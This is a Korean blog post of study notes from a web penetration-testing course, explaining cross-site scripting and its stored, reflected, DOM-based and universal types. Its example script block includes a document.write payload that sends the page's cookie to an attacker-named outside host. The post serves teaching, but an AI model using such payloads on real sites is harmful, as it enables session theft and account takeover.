klaus

[week_5] ClientSide : XSS (Cross Site Scripting) 본문

수업/모의해킹

[week_5] ClientSide : XSS (Cross Site Scripting)

klus! 2022. 11. 13. 22:15

0. ClientSide

웹 페이지의 이용자를 대상으로 공격할 수 있는 취약점으로, 취약점을 통해 이용자의 세션/쿠키와 같은 정보를 탈취하여 이용자의 계정의 권한을 수행할 수 있는 공격 기법.

그중 대표적인 공격 방법인 XSS에 대해 이번 주부터 스터디를 진행하였습니다.

여담,  약어가 CSS이 아니라 XSS인 이유는 스타일시트 정의 언어인 CSS와 중복되어 혼동되어 사용이 가능할 수 있기에 XSS라고 명명되었습니다. CSS의 경우 현업에서는 크사 또는 크스스라고 부르기도 합니다.

1. XSS(Cross Site Scripting)

XSS 공격구조 (네이버 지식백과)

공격자가 웹 리소스에 악성 스크립트를 삽입해 이용자의 웹 브라우저(이용자)에서 해당 스크립트가 실행되는 공격 기법

XSS 발생은 이용자가 삽입한 내용을 출력하는 기능을 수행하는 곳의 취약점으로 발생

(== 파라미터 데이터가 응답에 포함되는 모든 곳에서 발생하며 대표적으로 게시판,댓글이 있습니다.)

 

클라이언트는 HTTP형식으로 웹서버에서 리소스를 요청하고 웹서버로 부터 받은 응답으로 HTML, CSS, JS 등의 웹 리소스를 클라이언트 측의 웹 브라우저를 통해 보여주게 됩니다.

이때, 웹 리소스와 같은 코드가 포함된 게시물을 조회할 경우 이용자는 변조된 페이지를 보거나, 악성 스크립트가 실행이 가능해집니다.

 

2. XSS의 종류

종류 설명
Stored XSS 악성 스크립트가 서버에 저장되고 서버의 응답에 악성 스크립트가 담겨오는 XSS
Reflected XSS 악성 스크립트가 URL에 삽입되고 서버의 응답에 담겨오는 XSS
DOM based XSS 악성 스크립트가 URL Fragment에 삽입되는 XSS
클라이언트에서 조립
Universal XSS 클라이언트의 웹 브라우저 또는 플러그인에서 발생하는 취약점으로 SOP 정책 우회하는 XSS

 

3. XSS 스크립트에서 사용되는 악성 스크립트 코드

자바 스크립트는 웹 문서의 동작을 정의합니다. 이는 이용자가 웹브라우저를 통해 버튼을 클릭했을 때 어떤 이벤트가 발생될지와 데이터 입력 시 해당 데이터를 전송하는 이벤트로 구분할 수 있다고 합니다.

자바 스크립트의 경우 다양한 동작을 정의할 수 있기 때문에 XSS에 주로 사용됩니다.

 

사용 예시) 

<script> //script 시작

alert("tori");  //"tori"라는 문자열 alert 실행

alert(document.cookie);  //현재 웹 페이지의 쿠키를 인자로 가진 alert 실행

document.write("hello tori!!"); // "hello tori!!"를 이용자 페이지에 삽입

document.write('<img src="http://toriyong.com/?'+document.cookie+' "/>');
// img src는 이미지 링크 삽입, document.cookie+'는 현재 쿠키페이지 쿠키값
// 헤당 코드는 img src를 사용하여 공격자(toriyong.com)주소에 현재 페이지의 쿠키 요청하는 방법


</script>  //script 종료

 

과제 : XSS 복습 / 웹 개발 / 보고서 

더보기

개인 목표 :  보고서   -- 블라인드 SQLi 실습 추가 (404.........)

                   웹 개발  -- ERD 부터 정리해보기

                   XSS     -- dreamhack XSS

참고 : 5주 차 수업노트

          dreamhack 웹 해킹 XSS

 

 

 

'수업 > 모의해킹' 카테고리의 다른 글

[week_7] CSRF-1  (0) 2022.12.11
[week_6] XSS  (0) 2022.11.25
[Week5] XSS(Cross-Site Scripting) 개념  (0) 2022.11.09
[Week-4] BLIND Based SQLi (20221103)  (0) 2022.11.06
[Week_4] SQL Injection 예습(feat. Blind SQLi, 대응방안)  (0) 2022.11.02
Comments